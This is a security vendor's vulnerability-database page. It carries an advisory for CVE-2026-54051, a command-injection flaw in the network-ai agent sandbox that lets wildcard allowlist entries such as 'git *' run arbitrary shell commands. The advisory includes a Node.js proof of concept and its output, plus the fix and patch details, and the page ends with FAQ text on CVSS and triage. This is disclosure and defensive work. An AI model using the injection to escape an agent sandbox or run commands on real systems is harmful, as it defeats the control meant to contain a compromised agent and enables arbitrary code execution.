How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,427

Total vulnerabilities in the database

CVE-2026-54051 — network-ai

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.

Root cause

Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).

isCommandAllowed matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

globMatch compiles * to .* and anchors it, so git * becomes ^git .*$ and matches git status; id:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

ShellExecutor.execute only checks isCommandAllowed, never requiresApproval:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

spawnCommand runs the approved string via /bin/sh -c, so ;, | and $(...) are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.

PoC

Installs [email protected], allows git *, then runs git status; id > marker. The allowlist accepts it and the injected id runs.

Run: npm i [email protected] && node poc-316.js

&#039;use strict&#039;;
const os = require(&#039;os&#039;);
const fs = require(&#039;fs&#039;);
const path = require(&#039;path&#039;);
const { SandboxPolicy, ShellExecutor } = require(&#039;network-ai&#039;);

(async () =&gt; {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), &#039;nai-poc-316-&#039;));
  const marker = path.join(base, &#039;PWNED-316.txt&#039;);
  const policy = new SandboxPolicy({ basePath: base, allowedCommands: [&#039;git *&#039;] });
  const sh = new ShellExecutor(policy);

  const payload = `git status; id &gt; ${marker}; echo INJECTED`;
  console.log(&#039;version:&#039;, require(&#039;network-ai/package.json&#039;).version);
  console.log(&#039;allowed:&#039;, policy.isCommandAllowed(payload));

  await sh.execute(payload);
  const ran = fs.existsSync(marker);
  console.log(&#039;injected id ran:&#039;, ran, ran ? fs.readFileSync(marker, &#039;utf8&#039;).trim() : &#039;&#039;);
  console.log(ran ? &#039;VULNERABLE&#039; : &#039;not reproduced&#039;);
  process.exit(ran ? 0 : 1);
})().catch(err =&gt; { console.error(err); process.exit(3); });

Output:

version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE

Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.

Possible fix

Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.

Patch

Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.

Remediation: upgrade to [email protected] or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.

Published: Jun 19, 2026
Updated: Jun 20, 2026
CVE: CVE-2026-54051
GHSA: GHSA-qw6v-5fcf-5666
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWEs:

CWE-78

OWASP TOP 10:

A1 - Injection

Affected Software
References

Software	From	Fixed in
network-ai	-	5.9.1

https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.